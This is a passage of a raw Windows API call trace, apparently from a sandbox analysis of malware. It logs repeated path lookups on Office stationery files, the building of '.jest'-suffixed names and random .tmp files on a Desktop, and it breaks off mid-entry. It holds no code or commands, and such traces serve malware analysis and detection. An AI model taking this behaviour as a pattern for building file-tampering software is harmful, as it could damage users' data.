Files\\microsoft shared\\Stationery\\Stars.htm", lpFilePart=0x18e780*="Stars.htm") returned 0x49 [0122.772] GetFullPathNameA (in: lpFileName="wkOP0GnDLq7PeUFGKwlOpQvRIJeWYzBb7622-Te-EsQllOCscBRX21y41zZT24PG3cq5 U_L0d7kNRjREtsM6Wjf7GQOLJdyiKM.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wkOP0GnDLq7PeUFGKwlOpQvRIJeWYzBb7622-Te-EsQllOCscBRX21y41zZT24PG3cq5 U_L0d7kNRjREtsM6Wjf7GQOLJdyiKM.tmp", lpFilePart=0x18e708*="wkOP0GnDLq7PeUFGKwlOpQvRIJeWYzBb7622-Te-EsQllOCscBRX21y41zZT24PG3cq5 U_L0d7kNRjREtsM6Wjf7GQOLJdyiKM.tmp") returned 0x8d [0122.772] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Stars.htm", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Stars.htm", lpFilePart=0x18e708*="Stars.htm") returned 0x49 [0122.772] GetFullPathNameA (in: lpFileName="wkOP0GnDLq7PeUFGKwlOpQvRIJeWYzBb7622-Te-EsQllOCscBRX21y41zZT24PG3cq5 U_L0d7kNRjREtsM6Wjf7GQOLJdyiKM.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wkOP0GnDLq7PeUFGKwlOpQvRIJeWYzBb7622-Te-EsQllOCscBRX21y41zZT24PG3cq5 U_L0d7kNRjREtsM6Wjf7GQOLJdyiKM.tmp", lpFilePart=0x18e6e4*="wkOP0GnDLq7PeUFGKwlOpQvRIJeWYzBb7622-Te-EsQllOCscBRX21y41zZT24PG3cq5 U_L0d7kNRjREtsM6Wjf7GQOLJdyiKM.tmp") returned 0x8d [0122.772] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wkOP0GnDLq7PeUFGKwlOpQvRIJeWYzBb7622-Te-EsQllOCscBRX21y41zZT24PG3cq5 U_L0d7kNRjREtsM6Wjf7GQOLJdyiKM.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x504f6b77, cFileName="0GnDLq7PeUFGKwlOpQvRIJeWYzBb7622-Te-EsQllOCscBRX21y41zZT24PG3cq5 U_L0d7kNRjREtsM6Wjf7GQOLJdyiKM.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0122.778] GetLastError () returned 0x2 [0122.778] GetLastError () returned 0x2 [0122.778] SetLastError (dwErrCode=0x2) [0122.778] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0122.779] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x142fffc, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0122.779] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0122.779] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0122.779] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0122.779] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0122.779] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0122.779] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0122.779] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm", lpFilePart=0x18e870*="Stars.htm") returned 0x43 [0122.781] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm.jest", lpFilePart=0x18e870*="Stars.htm.jest") returned 0x48 [0122.783] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm", lpFilePart=0x18e6d8*="Stars.htm") returned 0x43 [0122.784] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3dd680, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3dd680, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce1c836a, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x78, dwReserved1=0x0, cFileName="Stars.htm", cAlternateFileName="")) returned 0x143ce48 [0122.784] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0122.784] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7ec, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0122.784] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm", lpFilePart=0x18e780*="Stars.htm") returned 0x43 [0122.784] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm", lpFilePart=0x18e780*="Stars.htm") returned 0x43 [0122.785] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0122.785] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xb, wMilliseconds=0x189)) [0122.785] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xb, wMilliseconds=0x189)) [0122.785] GetUserDefaultLCID () returned 0x409 [0122.785] VarBstrFromR4 (in: fltIn=0x479443b2, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75911.39") returned 0x0 [0122.785] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14aaba4, cchWideChar=1 | out: lpWideCharStr="\x7f") returned 1 [0122.785] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm", lpFilePart=0x18e780*="Stars.htm") returned 0x43 [0122.786] GetFullPathNameA (in: lpFileName="KGs2xQqy9L0lzVC2_aFl6KPgP92I94EBPc_Ab3hYltBel 7r3dtEn6JN9dZZBlo3ylzCvplhxxIxndcmaS-GgfBgJ2brMu_jLDq7.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\KGs2xQqy9L0lzVC2_aFl6KPgP92I94EBPc_Ab3hYltBel 7r3dtEn6JN9dZZBlo3ylzCvplhxxIxndcmaS-GgfBgJ2brMu_jLDq7.tmp", lpFilePart=0x18e708*="KGs2xQqy9L0lzVC2_aFl6KPgP92I94EBPc_Ab3hYltBel 7r3dtEn6JN9dZZBlo3ylzCvplhxxIxndcmaS-GgfBgJ2brMu_jLDq7.tmp") returned 0x8e [0122.786] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm", lpFilePart=0x18e708*="Stars.htm") returned 0x43 [0122.786] GetFullPathNameA (in: lpFileName="KGs2xQqy9L0lzVC2_aFl6KPgP92I94EBPc_Ab3hYltBel 7r3dtEn6JN9dZZBlo3ylzCvplhxxIxndcmaS-GgfBgJ2brMu_jLDq7.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\KGs2xQqy9L0lzVC2_aFl6KPgP92I94EBPc_Ab3hYltBel 7r3dtEn6JN9dZZBlo3ylzCvplhxxIxndcmaS-GgfBgJ2brMu_jLDq7.tmp", lpFilePart=0x18e6e4*="KGs2xQqy9L0lzVC2_aFl6KPgP92I94EBPc_Ab3hYltBel 7r3dtEn6JN9dZZBlo3ylzCvplhxxIxndcmaS-GgfBgJ2brMu_jLDq7.tmp") returned 0x8e [0122.786] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\KGs2xQqy9L0lzVC2_aFl6KPgP92I94EBPc_Ab3hYltBel 7r3dtEn6JN9dZZBlo3ylzCvplhxxIxndcmaS-GgfBgJ2brMu_jLDq7.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x3273474b, cFileName="xQqy9L0lzVC2_aFl6KPgP92I94EBPc_Ab3hYltBel 7r3dtEn6JN9dZZBlo3ylzCvplhxxIxndcmaS-GgfBgJ2brMu_jLDq7.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0122.787] GetLastError () returned 0x2 [0122.787] GetLastError () returned 0x2 [0122.787] SetLastError (dwErrCode=0x2) [0122.787] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0122.787] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da7c4, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0122.787] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0122.788] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0122.788] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0122.788] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0122.788] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0122.788] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0122.788] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Stars.jpg", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Stars.jpg", lpFilePart=0x18e870*="Stars.jpg") returned 0x49 [0123.491] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Stars.jpg.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Stars.jpg.jest", lpFilePart=0x18e870*="Stars.jpg.jest") returned 0x4e [0123.497] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Stars.jpg", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Stars.jpg", lpFilePart=0x18e6d8*="Stars.jpg") returned 0x49 [0123.497] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Stars.jpg", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4229d8e4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x4229d8e4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x829bc35c, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0x1d51, dwReserved0=0x78, dwReserved1=0x5e086533, cFileName="Stars.jpg", cAlternateFileName="")) returned 0x143ce48 [0123.499] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0123.499] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7c4, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0123.499] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Stars.jpg", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Stars.jpg", lpFilePart=0x18e780*="Stars.jpg") returned 0x49 [0123.501] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Stars.jpg", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Stars.jpg", lpFilePart=0x18e780*="Stars.jpg") returned 0x49 [0123.501] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0123.502] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xb, wMilliseconds=0x206)) [0123.502] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xb, wMilliseconds=0x206)) [0123.502] GetUserDefaultLCID () returned 0x409 [0123.502] VarBstrFromR4 (in: fltIn=0x479443c2, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75911.52") returned 0x0 [0123.502] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14aaba4, cchWideChar=1 | out: lpWideCharStr="Ù") returned 1 [0123.502] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Stars.jpg", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Stars.jpg", lpFilePart=0x18e780*="Stars.jpg") returned 0x49 [0123.504] GetFullPathNameA (in: lpFileName="779lQPZbCA4d3nA6T4YsH9x42UH2kVGBVie-Fq3LHvm1V6HX2zmOKVOVmrPCsY6BFjpM_Sd7KrTeS 7LXDDf9zKDZ8qiwyOW9HVE.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\779lQPZbCA4d3nA6T4YsH9x42UH2kVGBVie-Fq3LHvm1V6HX2zmOKVOVmrPCsY6BFjpM_Sd7KrTeS 7LXDDf9zKDZ8qiwyOW9HVE.tmp", lpFilePart=0x18e708*="779lQPZbCA4d3nA6T4YsH9x42UH2kVGBVie-Fq3LHvm1V6HX2zmOKVOVmrPCsY6BFjpM_Sd7KrTeS 7LXDDf9zKDZ8qiwyOW9HVE.tmp") returned 0x8f [0123.504] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Stars.jpg", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Stars.jpg", lpFilePart=0x18e708*="Stars.jpg") returned 0x49 [0123.504] GetFullPathNameA (in: lpFileName="779lQPZbCA4d3nA6T4YsH9x42UH2kVGBVie-Fq3LHvm1V6HX2zmOKVOVmrPCsY6BFjpM_Sd7KrTeS 7LXDDf9zKDZ8qiwyOW9HVE.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\779lQPZbCA4d3nA6T4YsH9x42UH2kVGBVie-Fq3LHvm1V6HX2zmOKVOVmrPCsY6BFjpM_Sd7KrTeS 7LXDDf9zKDZ8qiwyOW9HVE.tmp", lpFilePart=0x18e6e4*="779lQPZbCA4d3nA6T4YsH9x42UH2kVGBVie-Fq3LHvm1V6HX2zmOKVOVmrPCsY6BFjpM_Sd7KrTeS 7LXDDf9zKDZ8qiwyOW9HVE.tmp") returned 0x8f [0123.504] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\779lQPZbCA4d3nA6T4YsH9x42UH2kVGBVie-Fq3LHvm1V6HX2zmOKVOVmrPCsY6BFjpM_Sd7KrTeS 7LXDDf9zKDZ8qiwyOW9HVE.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x6c393737, cFileName="QPZbCA4d3nA6T4YsH9x42UH2kVGBVie-Fq3LHvm1V6HX2zmOKVOVmrPCsY6BFjpM_Sd7KrTeS 7LXDDf9zKDZ8qiwyOW9HVE.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0123.504] GetLastError () returned 0x2 [0123.504] GetLastError () returned 0x2 [0123.504] SetLastError (dwErrCode=0x2) [0123.505] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0123.505] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x142fffc, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0123.505] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0123.507] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0123.507] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0123.507] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0123.507] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0123.507] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0123.507] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg", lpFilePart=0x18e870*="Stars.jpg") returned 0x43 [0123.515] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg.jest", lpFilePart=0x18e870*="Stars.jpg.jest") returned 0x48 [0123.517] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg", lpFilePart=0x18e6d8*="Stars.jpg") returned 0x43 [0123.518] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce4037dd, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce4037dd, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa5ffafd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d51, dwReserved0=0x78, dwReserved1=0x0, cFileName="Stars.jpg", cAlternateFileName="")) returned 0x143ce48 [0123.518] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0123.518] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7ec, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0123.518] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg", lpFilePart=0x18e780*="Stars.jpg") returned 0x43 [0123.519] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg", lpFilePart=0x18e780*="Stars.jpg") returned 0x43 [0123.519] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0123.519] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xb, wMilliseconds=0x215)) [0123.519] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xb, wMilliseconds=0x215)) [0123.519] GetUserDefaultLCID () returned 0x409 [0123.519] VarBstrFromR4 (in: fltIn=0x479443c4, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75911.53") returned 0x0 [0123.520] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14aaba4, cchWideChar=1 | out: lpWideCharStr="Ð") returned 1 [0123.520] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg", lpFilePart=0x18e780*="Stars.jpg") returned 0x43 [0123.521] GetFullPathNameA (in: lpFileName="t3S4QqJDOs Vjw7BDn5VcfP5Fhq_6Wc1whMcMgd-0igtqzb_R_ETtOg0CjlsLzZkMHW6d6oPnHXpzDcXPgQbLxE8y7YH4Ubq6sPBI.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\t3S4QqJDOs Vjw7BDn5VcfP5Fhq_6Wc1whMcMgd-0igtqzb_R_ETtOg0CjlsLzZkMHW6d6oPnHXpzDcXPgQbLxE8y7YH4Ubq6sPBI.tmp", lpFilePart=0x18e708*="t3S4QqJDOs Vjw7BDn5VcfP5Fhq_6Wc1whMcMgd-0igtqzb_R_ETtOg0CjlsLzZkMHW6d6oPnHXpzDcXPgQbLxE8y7YH4Ubq6sPBI.tmp") returned 0x8f [0123.521] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg", lpFilePart=0x18e708*="Stars.jpg") returned 0x43 [0123.521] GetFullPathNameA (in: lpFileName="t3S4QqJDOs Vjw7BDn5VcfP5Fhq_6Wc1whMcMgd-0igtqzb_R_ETtOg0CjlsLzZkMHW6d6oPnHXpzDcXPgQbLxE8y7YH4Ubq6sPBI.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\t3S4QqJDOs Vjw7BDn5VcfP5Fhq_6Wc1whMcMgd-0igtqzb_R_ETtOg0CjlsLzZkMHW6d6oPnHXpzDcXPgQbLxE8y7YH4Ubq6sPBI.tmp", lpFilePart=0x18e6e4*="t3S4QqJDOs Vjw7BDn5VcfP5Fhq_6Wc1whMcMgd-0igtqzb_R_ETtOg0CjlsLzZkMHW6d6oPnHXpzDcXPgQbLxE8y7YH4Ubq6sPBI.tmp") returned 0x8f [0123.521] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\t3S4QqJDOs Vjw7BDn5VcfP5Fhq_6Wc1whMcMgd-0igtqzb_R_ETtOg0CjlsLzZkMHW6d6oPnHXpzDcXPgQbLxE8y7YH4Ubq6sPBI.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, 